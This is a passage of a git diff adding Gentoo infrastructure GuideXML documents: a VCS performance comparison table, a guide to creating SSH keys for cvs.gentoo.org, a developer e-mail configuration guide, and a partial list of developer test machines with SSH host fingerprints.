+	    <ti>Server Usage (7.3gb) Client Usage (2.8gb) </ti>
+	    <ti>21.8mb/s</ti>
+	    <ti>20mb per checkout</ti>
+	    <ti>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/svn-co-server">server stats</uri>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/svn-co-client">client stats</uri>
+	    </ti>
+	</tr>
+	<tr>
+	    <ti>GIT</ti>
+	    <ti>Annotation;
+		Two, interchangeable, on-disk formats are used: 
+		An efficient, packed format that saves space and network bandwidth
+		An unpacked format, optimized for fast writes and incremental work.
+		Merging, tagging, branching, very fine grained control.</ti>
+	    <ti>Being a distributed VCS means it may be difficult for us to use, has high server spec requirements.</ti>
+	    <ti>Migration complete, minus the Authors file.</ti>
+	    <ti>
+		<ul>
+		    <li>Smart Clone: 84 minutes, 58 seconds</li>
+		    <li>Dumb Clone: 121 minutes, 52 seconds (over http)</li>
+		</ul>
+		Note: Smart clone being a checkout over a smart protocol, one that will generate 
+the packs for you; this generally pains the server (lots of ram and cpu usage).  However the cloned repo will
+be all ready for you to use.  A Dumb clone is one over http, or rsync, where the server just 
+tranfersfiles and the client does all the work to prep the repository.
+	    </ti>
+	    <ti>Packed (1.1gb), Unpacked (1.6gb)</ti>
+	    <ti>1.72mb/s (smart), 1.2mb/s (dumb) </ti>
+	    <ti>
+		<ul>
+		    <li>Up to 400mb per clone (Smart clone on the server), server process was
+			causing a high server load (~1.0 load per checkout)</li>
+		    <li>Up to 60mb per clone (Dumb clone on the server), server process only
+			occasionally caused a high load (spikes to 1.0, but usually around .2)</li>
+		</ul>
+	    </ti>
+	    <ti><uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/git-checkout-stats">Smart 
+clone Stats</uri>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/git-tree-dumb-stats-server">
+Dumb clone Stats (Server)</uri>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/git-tree-dumb-stats-client">
+Dumb clone Stats (Client)</uri>
+	    </ti>
+	</tr>
+	<tr>
+	    <ti>CVS (Stats on the current usage)</ti>
+	    <ti>Already converted, status quo, no migration, no training, does what we need 90% of 
+the time.</ti>
+	    <ti>Sucks at branching, merging branches back in.</ti>
+	    <ti>Migration Unnecessary</ti>
+	    <ti>8 minutes, 54 seconds.</ti>
+	    <ti>Server (1.6gb) Checkout(~880Mb)</ti>
+	    <ti>13.18mb/s</ti>
+	    <ti>15mb per checkout</ti>
+	    <ti>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/cvs-co-server">server stats</uri>
+<uri link="http://dev.gentoo.org/~antarus/projects/soc/stats/cvs-co-client">client stats</uri>
+	    </ti>
+	</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/cvs-sshkeys.xml b/xml/htdocs/proj/en/infrastructure/cvs-sshkeys.xml
new file mode 100644
index 00000000..9f887c9f
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/cvs-sshkeys.xml
@@ -0,0 +1,179 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>SSH access to cvs.gentoo.org</title>
+
+<author title="Author">
+  <mail link="swift"/>
+</author>
+<author title="Author">
+  <mail link="robbat2"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This mini-guide explains on how to create and use ssh-keys, especially
+for use on cvs.gentoo.org.
+</abstract>
+
+<version>1.2</version>
+<date>2010-04-26</date>
+
+<chapter>
+<title>SSH keys</title>
+<section>
+<title>Creating the SSH keys</title>
+<body>
+
+<p>
+First of all, be physically logged on to your own computer. Make sure
+that no-one will see you typing stuff in, since we are going to type in
+passphrases and such. So get your pepperspray and fight all untrusted
+entities until you are home alone.
+</p>
+
+<p>
+Now we are going to create our ssh keys, DSA keys to be exact. Log onto
+your computer as the user that you are going to be using when you want
+to access cvs.gentoo.org. Then issue <c>ssh-keygen -t dsa</c>:
+</p>
+
+<pre caption="Creating SSH keys">
+$ <i>ssh-keygen -t dsa</i>
+Generating public/private dsa key pair.
+Enter file in which to save the key (/home/temp/.ssh/id_dsa): <comment>(Press enter)</comment>
+Created directory '/home/temp/.ssh'.
+Enter passphrase (empty for no passphrase): <comment>(Enter your passphrase)</comment>
+Enter same passphrase again: <comment>(Enter your passphrase again)</comment>
+Your identification has been saved in /home/temp/.ssh/id_dsa.
+Your public key has been saved in /home/temp/.ssh/id_dsa.pub.
+The key fingerprint is:
+85:35:81:a0:87:56:78:a2:da:53:6c:63:32:d1:34:48 temp@Niandra
+</pre>
+
+<note>
+Please be sure to set a strong passphrase on your private key.  Ideally,
+this passphrase should be at least 8 characters and contain a mixture of
+letters, numbers and symbols.
+</note>
+
+<p>
+Now wasn't that easy? Let's see what we have created:
+</p>
+
+<pre caption="Created files">
+# <i>ls ~/.ssh</i>
+id_dsa  id_dsa.pub
+</pre>
+
+<p>
+You'll probably have more files than this, but the 2 files listed above
+are the ones that are really important.
+</p>
+
+<p>
+The first file, <path>id_dsa</path>, is your <e>private</e> key. Don't
+distribute this amongst all people unless you want to get into a fight
+with drobbins (no, you don't want that). 
+</p>
+
+<warn>
+If you have several (<e>trusted!</e>) hosts from which you want to 
+connect to cvs.gentoo.org, you should copy <path>id_dsa</path> to the
+<path>~/.ssh</path> directories on those hosts.
+</warn>
+
+<p>
+The second file, <path>id_dsa.pub</path>, is your <e>public</e> key.
+Distribute this file amongst all hosts that you want to be able to
+access through SSH pubkey authentification. This file should be appended
+to <path>~/.ssh/authorized_keys</path> on those remote hosts. Also add it
+to your local host so you can connect to that one too if you have several
+boxes.
+</p>
+
+<pre caption="Adding the SSH key to the box">
+$ <i>cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>
+  Installing your public key on a machine using LDAP authentication for SSH
+</title>
+<body>
+
+<note>
+If you are a new developer, your recruiter will put your first SSH key into
+LDAP, so that you can login. You can then add any additional SSH keys yourself
+using the following procedure.
+</note>
+
+<p>
+For most of the Gentoo infrastructure, we use LDAP to distribute user
+information including SSH public keys. On these machines,
+<path>~/.ssh/authorized_keys</path> should generally not contain your key.
+</p>
+
+<p>
+Instead, you should place your public key into LDAP, using
+<path>perl_ldap</path>, or <path>ldapmodify</path> directly.
+The Infrastructure <uri link="/proj/en/infrastructure/ldap.xml">LDAP
+guide</uri> describes this in more detail.
+</p>
+
+<pre caption="Adding the SSH key with perl_ldap on dev.gentoo.org">
+$ <i>perl_ldap -b user -C sshPublicKey "$(cat ~/.ssh/id_dsa.pub)" &lt;username&gt;</i>
+</pre>
+
+<warn>
+Each <path>sshPublicKey</path> attribute must contain exactly one public key. If you have multiple public keys, you must have multiple attributes!
+</warn>
+
+</body>
+</section>
+<section>
+<title>Using keychain</title>
+<body>
+
+<p>
+Every time you want to log on to a remote host using SSH public key
+authentification, you will be asked to enter your passphrase. As much as
+everybody likes typing, too much is sometimes too much. Luckily, there is
+<c>keychain</c> to the rescue. There is an document on this one <uri
+link="/doc/en/keychain-guide.xml">here</uri>, but I'll give you a quick
+introduction.
+</p>
+
+<p>
+First, install <c>keychain</c>:
+</p>
+
+<pre caption="Installing keychain">
+# <i>emerge keychain</i>
+</pre>
+
+<p>
+Now have keychain load up your private ssh key when you log on to your local
+box. To do so, add the following to <path>~/.bash_profile</path>.  Again, this
+should be done on your <e>local</e> machine where you work at the Gentoo CVS.
+</p>
+
+<pre caption="Add this to .bash_profile">
+keychain ~/.ssh/id_dsa
+. .keychain/<comment>hostname</comment>-sh
+</pre>
+
+<p>
+Be sure to substitute <c>hostname</c> with your hostname.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/dev-email.xml b/xml/htdocs/proj/en/infrastructure/dev-email.xml
new file mode 100644
index 00000000..12bc5385
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/dev-email.xml
@@ -0,0 +1,376 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link = "/proj/en/infrastructure/dev-email.xml">
+<title>Gentoo E-mail System for developers</title>
+<author title="Author">
+    <mail link="swift">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+    <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+    <mail link="ramereth">Lance Albertson</mail>
+</author>
+<author title="Editor">
+    <mail link="dostrow">Daniel Ostrow</mail>
+</author>
+<author title="Editor">
+    <mail link="kingtaco">Mike Doty</mail>
+</author>
+<author title="Editor">
+    <mail link="solar">Ned Ludd</mail>
+</author>
+<author title="Editor">
+    <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<abstract>
+This document describes what you, as a Gentoo Developer, can expect from our
+e-mail system, and provides configuration details you require.
+</abstract>
+<version>1.6</version>
+<date>2010-05-25</date>
+
+<!-- This doesn't look good, can be handy though. Commenting out
+     untill someone wants it. How's that for anticipation :)
+
+<chapter>
+<title>Content</title>
+<section>
+<title>Gentoo Developer E-mail Possibilities</title>
+<body>
+<ul>
+<li><uri link="#doc_chap2_sect1">Introduction</uri></li>
+<li><uri link="#doc_chap2_sect2">Forwarding E-mails</uri></li>
+<li><uri link="#doc_chap2_sect3">Using the mailbox on dev.gentoo.org</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>Using dev.gentoo.org for your e-mails</title>
+<body>
+<ul>
+<li><uri link="#doc_chap3_sect1">Accessing dev.gentoo.org using POP3S</uri></li>
+<li><uri link="#doc_chap3_sect2">Accessing dev.gentoo.org using IMAPS</uri></li>
+<li><uri link="#doc_chap3_sect3">Using dev.gentoo.org as a mail relay server</uri></li>
+</ul>
+</body>
+</section>
+<section>
+<title>Frequently Asked and/or Anticipated Questions</title>
+<body>
+<ul>
+<li><uri link="#doc_chap4_sect1">What happens when dev.gentoo.org goes down?</uri></li>
+<li><uri link="#doc_chap4_sect2">Can I use procmail on dev.gentoo.org?</uri></li>
+<li><uri link="#doc_chap4_sect3">Are my e-mails or the contents of my home directory backed up regularly?</uri></li>
+</ul>
+</body>
+</section>
+</chapter>
+
+-->
+
+<chapter>
+<title>Gentoo Developer E-mail Possibilities</title>
+<section>
+<title>Introduction</title>
+<body>
+<p>
+This document describes the various options for checking your gentoo.org email address.
+You can opt for having the e-mails forwarded to a specific e-mail
+address, or let them stay on the dev.gentoo.org server to which you can
+connect using your favorite e-mail client with POP3S or IMAPS (the
+secure implementations of POP3 and IMAP respectively).
+</p>
+</body>
+</section>
+<section>
+<title>Forwarding E-mails</title>
+<body>
+<p>
+If you want to have your e-mails forwarded to another e-mail address, you
+should log on to dev.gentoo.org and put the e-mail address in 
+<path>~/.forward</path>. Logging on to dev.gentoo.org is similar to
+cvs.gentoo.org: you'll be using the same keys.
+</p>
+<pre caption = "Forwarding e-mails to another e-mail address">
+$ <i>ssh  username@dev.gentoo.org</i>
+username@woodpecker username $ <i>echo new.e-mail@address.com &gt; ~/.forward</i>
+username@woodpecker username $ <i>exit</i>
+</pre>
+<p>
+If you at some point want to change the e-mail address to which the
+e-mails should be forwarded, change the content of the
+<path>~/.forward</path> file to the new e-mail address.
+</p>
+<note>
+If you use a forward please make sure that it is reliable. If the queue on
+dev.gentoo.org starts to grow due to bouncing e-mail Infra will be forced to
+remove you forward. All e-mail will then be delivered locally until you fix it.
+</note>
+</body>
+</section>
+<section>
+<title>Using the mailbox on dev.gentoo.org</title>
+<body>
+<p>
+If you want to use the mailbox on dev.gentoo.org, you must make sure
+that there is no <path>.forward</path> in your home directory. Doing this
+requires access to dev.gentoo.org (duh). Accessing dev.gentoo.org is no
+different than accessing cvs.gentoo.org: you'll be using the same keys.
+</p>
+<!-- The single quotes are needed else their username is expended on the client side -->
+<pre caption = "Removing ~/.forward">
+$ <i>ssh -l username dev.gentoo.org 'rm ~/.forward'</i>
+</pre>
+<p>
+There are some things you must know about your mailbox on
+dev.gentoo.org:
+</p>
+<ul>
+<li>You can only access it using POP3S or IMAPS (see the following
+chapter).</li>
+<li>There are some local e-mail clients installed on
+dev.gentoo.org (<c>mutt</c> and <c>pine</c> to be exact). Only use those
+if you know how to use them :)</li>
+<li>The password to access the mailbox is the same password you can set
+on dev.gentoo.org using <c>passwd</c>.</li>
+</ul>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Using dev.gentoo.org for your e-mails</title>
+<section>
+<body>
+<note>
+As of 2009/06/29, we use CACert as the Certificate Authority for all of the
+following SSL certificates.
+</note>
+</body>
+</section>
+<section>
+<title>Accessing dev.gentoo.org using POP3S</title>
+<body>
+<p>
+POP3S is the secure variant of POP3, the Post Office Protocol version 3.
+POP3 is a pull-protocol, meaning that e-mails are pulled from the server
+to your local disk. 
+</p>
+<p>
+To set up your favorite e-mail client for POP3S, use the following
+settings:
+</p>
+<ul>
+<li><e>POP3 server</e>: dev.gentoo.org</li>
+<li><e>Use SSL</e>: yes</li>
+<li><e>Account</e>: your username</li>
+<li><e>Password</e>: your dev.gentoo.org password</li>
+</ul>
+<warn>
+POP3 without SSL is <e>not</e> supported! It is insecure because it
+transmits the password in plain text, which is a Bad Thing (TM).
+</warn>
+<p>
+For instance, if you are using <c>fetchmail</c> to fetch your e-mails,
+your <path>.fetchmailrc</path> should read something like this:
+</p>
+<pre caption="fetchmailrc">
+poll dev.gentoo.org proto pop3 
+    user <i>username</i> pass <i>password</i> nokeep ssl
+sslfingerprint "4E:D2:D8:69:59:FD:7D:61:01:90:F6:79:B2:E1:57:96"
+</pre>
+<p>
+If you are using <c>sylpheed</c> for your e-mails, create a new account
+and make sure that the <e>Receive</e> tab uses POP3 and the <e>SSL</e>
+tab has the <e>Use SSL for POP3 connection</e> selected.
+</p>
+<p>
+If you are using <c>mutt</c>, you're smart enough to figure this one out
+yourself.
+</p>
+<pre caption="dev.gentoo.org POP3 SSL fingerprints">
+MD5  = 4E:D2:D8:69:59:FD:7D:61:01:90:F6:79:B2:E1:57:96
+SHA1 = 98:2D:D6:9F:4F:BD:9D:03:70:B3:96:4A:84:A6:F6:5A:89:69:F1:02
+</pre>
+</body>
+</section>
+<section>
+<title>Accessing dev.gentoo.org using IMAPS</title>
+<body>
+<p>
+IMAPS is the secure variant of IMAP, the Internet Message Access Protocol
+version 4. IMAP is a push-protocol, meaning that e-mails stay on the 
+remote server and you can manage seperate mailboxes on that server. 
+</p>
+<p>
+To set up your favorite e-mail client for IMAPS, use the following
+settings:
+</p>
+<ul>
+<li><e>IMAP server</e>: dev.gentoo.org</li>
+<li><e>Use SSL</e>: yes</li>
+<li><e>Account</e>: your username</li>
+<li><e>Password</e>: your dev.gentoo.org password</li>
+</ul>
+<warn>
+IMAP without SSL is <e>not</e> supported! It is insecure because it
+uses static authentication, which is a Bad Thing (TM).
+</warn>
+<note>
+Your *.gentoo.org LDAP password is the same as the one used on
+all Gentoo infrastructure you have access to. If you don't know your
+password anymore, ask infra to reset your password.
+</note>
+<p>
+For instance, if you are using <c>fetchmail</c> to fetch your e-mails,
+your <path>.fetchmailrc</path> should read something like this:
+</p>
+<pre caption = "fetchmailrc">
+poll dev.gentoo.org proto imap
+    user <i>username</i> pass <i>password</i> nokeep ssl
+sslfingerprint "BA:B9:34:21:EB:B1:63:69:BB:B0:7F:4A:50:60:12:4F"
+</pre>
+<p>
+If you are using <c>mutt</c>, you're smart enough to figure this one out
+yourself.
+</p>
+<pre caption="dev.gentoo.org IMAP SSL fingerprints">
+MD5  = BA:B9:34:21:EB:B1:63:69:BB:B0:7F:4A:50:60:12:4F
+SHA1 = 91:57:06:37:61:1D:12:DD:8B:EE:31:C2:0B:EB:38:FE:10:1D:F1:B0
+</pre>
+</body>
+</section>
+<section>
+<title>Using dev.gentoo.org as a mail relay server</title>
+<body>
+<p>
+If you would like to reduce the SRF spam scoring against your email, or do not
+wish to use your ISP's relay, you may relay your email through dev.gentoo.org.
+</p>
+<note>
+For devs unable to use port 25 to send mail, dev.gentoo.org also accepts
+inbound SMTP connections on TCP port 587.
+</note>
+<p>
+Now setup your e-mail client to use dev.gentoo.org as the SMTP server.
+Select <e>yes</e> when asked if the server uses authentication. Also enable
+<e>STARTTLS</e>. If you get the choice, select <e>plain</e> as the hash-method.
+Use your username and your LDAP password for authentication. The certificate
+is also signed by CACert as of 2010/05/25.</p>
+<pre caption="dev.gentoo.org SMTP SSL fingerprints">
+MD5  = 77:F5:26:D5:E9:DD:E0:38:67:D3:E0:F7:97:17:51:D8
+SHA1 = 07:82:26:A7:F7:AE:C1:CC:BD:CD:F4:2D:91:D5:FC:73:D5:16:88:14
+</pre>
+</body>
+</section>
+<section>
+<title>Setting up procmail rules for Spam Checking</title>
+<body>
+<p>
+All email coming into dev.gentoo.org is scanned for spam and viruses. Viruses
+are automatically deleted so there is no need to check for them yourself. To 
+check for spam use something like the following procmail recipie.
+</p>
+<pre caption = "~/.procmailrc">
+ :0:
+ * ^X-Spam-Status: Yes
+ .maildir/.spam/
+</pre>
+<p>
+If you wish to check your spam based on spam level a recipie like the following
+can be used (adjust the number of '\*' to the level that fits you best, the more
+stars the greater the possibilty that what you are filtering is spam).
+</p>
+<pre caption = "~/.procmailrc">
+ :0:
+ * ^X-Spam-Level: \*\*\*
+ .maildir/.spam/
+</pre>
+<note>
+Mail placed into ~/.maildir/.spam is auto cleaned every 14 days. If you wish to
+save your potential spam for an extended period of time please place it in another
+directory. The usage of ~/.maildir/.spam is strongly encouraged.
+</note>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Frequently Asked and/or Anticipated Questions</title>
+<section>
+<title>What happens when dev.gentoo.org goes down?</title>
+<body>
+<p>
+When dev.gentoo.org goes down, e-mails
+will stay in the mailqueue on mail.gentoo.org and will be delivered
+whenever dev.gentoo.org is up again.
+</p>
+</body>
+</section>
+<section>
+<title>Can I use procmail on dev.gentoo.org?</title>
+<body>
+<p>
+Yes you can. You need to create a <path>~/.forward</path> file thought with the
+following content:
+</p>
+<pre caption="~/.forward for procmail usage">
+| /usr/bin/procmail
+</pre>
+</body>
+</section>
+<section>
+<title>Can I use SpamAssassin on dev.gentoo.org?</title>
+<body>
+<p>
+Spam is automatically marked for you. There is no need to run your mail through
+any additional filters just check for the appropriate headers.
+</p>
+</body>
+</section>
+<section>
+<title>Why don't you set up a system-wide (spam|virus) filter?</title>
+<body>
+<p>
+Due to the rapid spread of e-mail bourne viruses we have had to filter all of
+these despite the risk of loosing legitimate e-mail. Spam filtering is not 100%
+accurate so although we tag all e-mail with Spam level headers we do not filter
+it. We leave that option to the developers to do so if they choose.
+</p>
+</body>
+</section>
+<section>
+<title>How can I exempt myself from Sender Address Verification?</title>
+<body>
+<p>
+By default all @gentoo.org users get Sender Address Verification 
+enabled for them for free. We recognize that there are times when this 
+is less than ideal and put a system in place for you to exempt yourself 
+from it. You can simply <c>touch ~/.permissive</c> and wait about an 
+hour for the recipient_filtering to be rechecked. Note however that 
+when you opt for permissive mode that no spam or virus filtering is 
+done for your account.
+</p>
+</body>
+</section>
+<section>
+<title>Are my e-mails or the contents of my home directory backed up 
+regularly?</title>
+<body>
+<p>
+No, it's the responsibility of the individual to back up their own important 
+files and mail.
+</p>
+</body>
+</section>
+<section>
+<title>How can I copy over files from/to dev.gentoo.org?</title>
+<body>
+<p>
+Use <c>scp</c>.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/dev-machines.xml b/xml/htdocs/proj/en/infrastructure/dev-machines.xml
new file mode 100644
index 00000000..0a7ffea1
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/dev-machines.xml
@@ -0,0 +1,277 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link = "dev-machines.xml">
+<title>Gentoo Developer/Test Machines</title>
+<author title="Author">
+    <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Editor">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<abstract>
+This document describes the computers that are available 
+to Gentoo developers specifically for development purposes.
+</abstract>
+
+<version>2.0</version>
+<date>2010-08-29</date>
+
+<chapter>
+<title>Gentoo Developer Hosts</title>
+
+<section>
+<title>Introduction</title>
+<body>
+<p>
+This document describes the computers that are available to Gentoo developers
+for the specific purpose of developing Gentoo.  Most often, this is just a
+way to get access to different architectures or fast build machines.  Many
+hosts are provided by developers themselves and thus maintained by them.  This
+page exists only to help developers locate the admins of specific boxes for
+gaining access.  Specific implementation is left up to the maintainer (who is
+often the owner of the machine).
+</p>
+</body>
+</section>
+
+<section>
+<title>Development Boxes</title>
+<body>
+
+<table>
+ <tr>
+  <th>Arch</th>
+  <th>DNS</th>
+  <th>Contact</th>
+  <th>CPU</th>
+  <th>RAM</th>
+  <th>Misc</th>
+ </tr>
+
+ <tr>
+  <ti>alpha</ti>
+  <ti><uri link="http://dev.gentoo.org/~klausman/monolith.jpg">monolith.alpha.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:klausman@gentoo.org">Tobias Klausmann</uri></ti>
+  <ti>4xEV68AL 833MHz</ti>
+  <ti>8G</ti>
+  <ti>AlphaServer ES40 w/6x18GB,6x72GB HD</ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>pitr.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>2xOpteron 842 ~1.6GHz</ti>
+  <ti>2.0G</ti>
+  <ti>Donated by <uri link="http://amd.com/">AMD</uri>, Gentoo Foundation, and Gentoo/AMD64</ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>dustpuppy.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>2xOpteron 842 ~1.6GHz</ti>
+  <ti>1.0G</ti>
+  <ti>Donated by <uri link="http://amd.com/">AMD</uri>, Gentoo Foundation, and Gentoo/AMD64</ti>
+ </tr>
+
+ <tr>
+  <ti>amd64</ti>
+  <ti>miranda.amd64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:pitr-admins@gentoo.org">Mike Doty</uri></ti>
+  <ti>Dual Dual Core AMD Opteron(tm) Processor 280</ti>
+  <ti>16G</ti>
+  <ti>2 x 72GB U320 SCSI; Donated by <uri link="http://gni.com/">GNi</uri>, Global Netoptex, Inc.</ti>
+ </tr>
+
+ <tr>
+  <ti>arm</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/arm-netwinder/">coral.arm.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>StrongARM110 ~275MHz</ti>
+  <ti>128M</ti>
+  <ti>Netwinder w/40G HD</ti>
+ </tr>
+ 
+ <tr>
+  <ti>arm</ti>
+  <ti>mv78100.arm.dev.gentoo.org</ti>
+  <ti><uri link="mailto:robbat2@gentoo.org">Robin H. Johnson</uri></ti>
+  <ti>Feroceon MV78100-A1 @ 1Ghz</ti>
+  <ti>4G (3G usable)</ti>
+  <ti>Marvell DB-78100-BP-A1 w/ 160G HD; Donated by <uri link="http://marvell.com/">Marvell</uri>; IPv6-accessible only</ti>
+ </tr>
+
+ <tr>
+  <ti>hppa</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/hppa-c3600/">hake.hppa.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>PA8600 552MHz</ti>
+  <ti>3G</ti>
+  <ti>C3600 w/50G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>beluga.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:armin76@gentoo.org">Raúl Porcel</uri></ti>
+  <ti>2 x Itanium 2 1.6GHz</ti>
+  <ti>12G</ti>
+  <ti>HP Integrity rx2600; Supported by <uri link="http://hp.com/">HP</uri>!  This machine is meant more for people doing serious IA64 development; general arch testing should be done on dolphin.</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>dolphin.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:armin76@gentoo.org">Raúl Porcel</uri></ti>
+  <ti>2 x Itanium 2 900MHz</ti>
+  <ti>4G</ti>
+  <ti>HP Integrity zx6000; Supported by <uri link="http://hp.com/">HP</uri>!</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>guppy.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:halcy0n@gentoo.org">Mark Loeser</uri></ti>
+  <ti>2 x Itanium 2 dual core 1.6GHz</ti>
+  <ti>16G</ti>
+  <ti>HP Integrity rx3600; Supported by <uri link="http://hp.com/">HP</uri>!  This machine is meant more for people doing serious IA64 development; general arch testing should be done on dolphin.</ti>
+ </tr>
+
+ <tr>
+  <ti>mipsel</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/mipsel-raq2/">raq2.mips.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>QED RM5231 250MHz</ti>
+  <ti>256M</ti>
+  <ti>Raq2 Cobalt w/60G HD; requests must include a reference from a senior MIPS developer</ti>
+ </tr>
+
+ <tr>
+  <ti>mipsel</ti>
+  <ti>taijia (202.47.55.78:2207)</ti>
+  <ti><uri link="mailto:redhatter@gentoo.org">Stuart Longland</uri></ti>
+  <ti>660MHz Loongson 2E</ti>
+  <ti>512MB DDR1</ti>
+  <ti>40G HD; requests must include a reference from a senior MIPS developer</ti>
+ </tr>
+
+ <tr>
+  <ti>s390</ti>
+  <ti>lgentoo1.osdl.marist.edu</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>1 x IBM/S390 z990</ti>
+  <ti>512 MiB</ti>
+  <ti>12 GiB; System for building/testing s390 packages and stages</ti>
+ </tr>
+
+ <tr>
+  <ti>s390x</ti>
+  <ti>lgentoo2.osdl.marist.edu</ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>1 x IBM/S390x z990</ti>
+  <ti>512 MiB</ti>
+  <ti>12 GiB; System for building/testing s390x packages and stages</ti>
+ </tr>
+
+ <tr>
+  <ti>sh</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/sh4-lantank/">lantank.sh.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>SuperH4 266MHz</ti>
+  <ti>64M</ti>
+  <ti>LanTANK SH4 (SH7751R) w/200G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>sparc</ti>
+  <ti>bender.sparc.dev.gentoo.org</ti>
+  <ti><uri link="mailto:armin76@gentoo.org">Raúl Porcel</uri></ti>
+  <ti>8-core UltraSPARC T1 @ 1.2 Ghz</ti>
+  <ti>32G</ti>
+  <ti>Sun T2000; Donated by <uri link="http://www.sun.com/">Sun Microsystems</uri></ti>
+ </tr>
+</table>
+
+<note>If you want to get your machine added/updated in this list, just contact
+<uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri> :).</note>
+
+<table>
+ <tr>
+  <th>Host</th>
+  <th>SSH Key</th>
+ </tr>
+
+ <tr>
+  <ti>monolith.alpha</ti>
+  <ti>64:b9:3c:c7:55:ac:35:11:11:68:e1:f3:82:91:7f:cd</ti>
+ </tr>
+
+ <tr>
+  <ti>pitr.amd64</ti>
+  <ti>c4:35:fe:b4:72:32:6f:a0:ea:80:5d:cf:6f:25:50:6d</ti>
+ </tr>
+
+ <tr>
+  <ti>miranda.amd64</ti>
+  <ti>91:da:2c:15:49:77:a7:d7:20:b0:25:53:24:a2:ec:36</ti>
+ </tr>
+
+ <tr>
+  <ti>coral.arm</ti>
+  <ti>45:6d:f7:38:83:a2:ca:87:35:95:77:11:ea:cc:5e:cc</ti>
+ </tr>
+ 
+ <tr>
+  <ti>mv78100.arm</ti>
+  <ti>RSA 1b:43:1d:c2:e8:b8:9a:14:61:c8:5c:b9:d7:4e:84:7d DSA af:25:b1:e4:ed:e6:8d:03:fd:51:bd:4f:1c:65:d2:0e</ti>
+ </tr>
+
+ <tr>
+  <ti>hake.hppa</ti>
+  <ti>5a:6a:ba:14:e2:a3:0c:4a:2e:6b:63:0d:f2:db:1b:3f</ti>
+ </tr>
+
+ <tr>
+  <ti>beluga.ia64</ti>
+  <ti>1e:a1:ea:04:c5:87:4c:7b:75:80:04:d5:47:94:3a:45</ti>
+ </tr>
+
+ <tr>
+  <ti>dolphin.ia64</ti>
+  <ti>c8:fe:4f:1e:48:48:46:5a:40:7e:96:6c:a4:73:aa:50</ti>
+ </tr>
+
+ <tr>
+  <ti>raq2.mips</ti>
+  <ti>f6:0c:4e:b9:5b:cb:e5:0e:bf:b8:67:5c:be:5d:94:d7</ti>
+ </tr>
+
+ <tr>
+  <ti>lgentoo1.s390</ti>
+  <ti>c3:f0:e1:ba:9d:3a:eb:f1:39:fa:3c:5c:f5:24:76:a0</ti>
+ </tr>
+
+ <tr>
+  <ti>lgentoo2.s390x</ti>
+  <ti>24:e2:5a:a3:0b:34:49:1e:4d:2e:22:0f:8a:f9:7a:14</ti>
+ </tr>
+
+ <tr>
+  <ti>lantank.sh</ti>
